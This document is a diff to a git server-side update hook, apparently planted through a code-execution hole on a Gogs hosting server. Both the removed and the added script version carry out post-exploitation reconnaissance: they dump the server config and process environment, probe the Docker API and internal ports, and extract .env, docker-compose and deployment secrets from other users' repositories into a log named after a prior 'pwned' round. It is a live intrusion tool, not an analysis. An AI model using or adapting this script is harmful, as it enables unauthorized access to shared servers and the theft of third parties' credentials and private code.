hook2138 round

nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

@@ -1,37 +1,51 @@
 #!/bin/sh
+OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
+R=/data/git/gogs-repositories
+LOG=$OUT/out2138
 {
-echo "=== rce2031 fresh $(date -u) ==="
-echo "--- id ---"; id
-echo "--- pwd ---"; pwd
-echo "--- zoujiajian dir ---"; ls -la /data/git/gogs-repositories/zoujiajian/ 2>/dev/null
-echo "--- sizes MB ---"; du -sm /data/git/gogs-repositories/*/*.git 2>/dev/null | sort -n | tail -45
-echo "--- local-r ---"; ls -la /data/gogs/data/tmp/local-r/ 2>/dev/null | head -20
-echo "--- /var/run + docker.sock ---"; ls -la /var/run/ /run/ 2>/dev/null | head -40
-echo "--- route ---"; cat /proc/net/route 2>/dev/null; echo; cat /etc/resolv.conf 2>/dev/null
-echo "--- docker api probes ---"
-for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.20.0.1 172.21.0.1 10.0.0.1; do
-  echo "[$gw]"; wget -q -T 2 -O- "http://$gw:2375/version" 2>&1 | head -c 200; echo; done
-echo "--- host env hunt: /proc/1/environ ---"; tr "\0" "\n" < /proc/1/environ 2>/dev/null | head -40
-} > pwned2031 2>&1
-(
-export GIT_NO_LAZY_FETCH=1
-echo "=== deep scan start $(date -u) ==="
-for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
-  GD=/data/git/gogs-repositories/$r
-  echo "##### SCAN $r $(date -u)"
-  if [ -d "$GD" ]; then
-    du -sm "$GD" 2>/dev/null
-    echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
-    echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -25
-    echo "-- HEAD files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -200
-    echo "-- config-like files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -80
-    echo "-- keyword stream grep --"
-    git --git-dir="$GD" rev-list --objects --all 2>/dev/null | cut -d' ' -f1 | git --git-dir="$GD" cat-file --batch 2>/dev/null | grep -a -i -o -E ".{0,80}(session_secret|crypto_secret|sessionsecret|cryptosecret).{0,160}" | head -40
-    echo "-- git grep HEAD --"; git --git-dir="$GD" grep -i -n -e SESSION_SECRET -e CRYPTO_SECRET HEAD 2>/dev/null | head -20
-  else
-    echo "MISSING $GD"
-  fi
-  echo "##### DONE $r $(date -u)"
+echo "=== round2138 $(date -u) ==="
+id; uname -a
+echo "--- tools ---"; for t in nc curl wget python3 python perl ssh mysql mysqldump bash git busybox; do command -v $t; done
+echo "--- caps ---"; grep -E "Cap|Seccomp" /proc/self/status
+echo "--- mounts ---"; cat /proc/mounts
+echo "--- / ---"; ls -la /
+echo "--- /data ---"; ls -la /data/ 2>/dev/null
+echo "--- /home ---"; ls -la /home/ 2>/dev/null; ls -la /home/git/ 2>/dev/null
+echo "--- gogs conf ---"; cat /data/gogs/conf/app.ini 2>/dev/null
+echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null
+echo "--- tmp users ---"; ls -la /data/gogs/data/tmp/ 2>/dev/null | head -40
+echo "--- sock hunt ---"; ls -la /run /var/run 2>/dev/null; find / -xdev -name "*.sock" 2>/dev/null | head -20
+echo "--- proc ---"; ls /proc | grep -E "^[0-9]+$" | head -30; for p in $(ls /proc | grep -E "^[0-9]+$" | head -40); do c=$(tr "\0" " " < /proc/$p/cmdline 2>/dev/null | head -c 120); [ -n "$c" ] && echo "$p: $c"; done
+echo "--- /proc/1/environ ---"; tr "\0" "\n" < /proc/1/environ 2>&1 | head -30
+echo "--- self env ---"; tr "\0" "\n" < /proc/self/environ | head -40
+echo "--- /etc/hosts ---"; cat /etc/hosts
+echo "--- resolve names ---"; for h in gogs-db db mysql mariadb redis internal newapi new-api nebula web caddy nginx api postgres; do getent hosts "$h" 2>/dev/null; done
+echo "--- gw probe ---"; GW=$(ip route 2>/dev/null | awk "/default/{print \$3; exit}"); echo "GW=$GW"
+np() { if command -v nc >/dev/null 2>&1; then nc -w 2 "$1" "$2" </dev/null >/dev/null 2>&1 && echo "$1:$2 OPEN(nc)"; else wget -q -T 2 -O /dev/null "http://$1:$2/" >/dev/null 2>&1 && echo "$1:$2 OPEN(http)"; fi; }
+for p in 22 80 443 2375 3306 6379 6600 8300 10022 16379 20001 25919; do np "$GW" "$p"; done
+np gogs-db 3306
+echo "--- find env/compose ---"; find / -xdev -maxdepth 5 \( -iname "*.env" -o -iname ".env*" -o -iname "docker-compose*" -o -iname "compose.y*ml" \) 2>/dev/null | grep -v gogs-repositories | head -40
+echo "--- deep scan status ---"; ls -la $OUT/ 2>/dev/null | head; echo "[tail pwned2031]"; tail -c 600 $OUT/pwned2031 2>/dev/null
+echo "=== candidate files across repos ==="
+for gd in $R/zoujiajian/*.git $R/yhlxj/*.git $R/youzi/*.git; do
+  fs=$(git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE '(^|/)(\.env|\.env\.[a-zA-Z0-9]+|docker-compose[^/]*|compose\.ya?ml|application[^/]*\.(yml|yaml|properties)|SERVER_DEPLOYMENT[^/]*|deploy[^/]*\.(sh|md|yml|yaml))$')
+  [ -n "$fs" ] && { echo "##### $gd"; echo "$fs" | head -30; }
 done
-echo "=== deep scan ALLDONE $(date -u) ==="
-) >> pwned2031 2>&1 &
+echo "=== dump selected config contents ==="
+for pair in zoujiajian/nebula.git yhlxj/yhlxj.git zoujiajian/yhlxj.git zoujiajian/yhlxj-global.git zoujiajian/relay-code-full-stack.git zoujiajian/netflix-job.git; do
+  gd=$R/$pair
+  for f in $(git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE '(\.env$|\.env\.|docker-compose|compose\.ya?ml|SERVER_DEPLOYMENT|deploy\.(sh|md))' | head -12); do
+    echo "####FILE $pair :: $f"
+    git --git-dir="$gd" show "HEAD:$f" 2>/dev/null | head -60
+  done
+done
+echo "=== writer repos of others ==="
+for rr in test/writer-6f1fba3e.git pentest_2ff7575f/writer-0376bfdc.git; do
+  GD=$R/$rr
+  echo "##### $rr"; [ -d "$GD" ] || { echo MISSING; continue; }
+  git --git-dir="$GD" for-each-ref 2>/dev/null | head -5
+  git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -50
+  echo "-- interesting --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|secret|config|compose|deploy|key|ssh|passwd|dump" | head -40
+done
+echo "=== end round2138 $(date -u) ==="
+} > $LOG 2>&1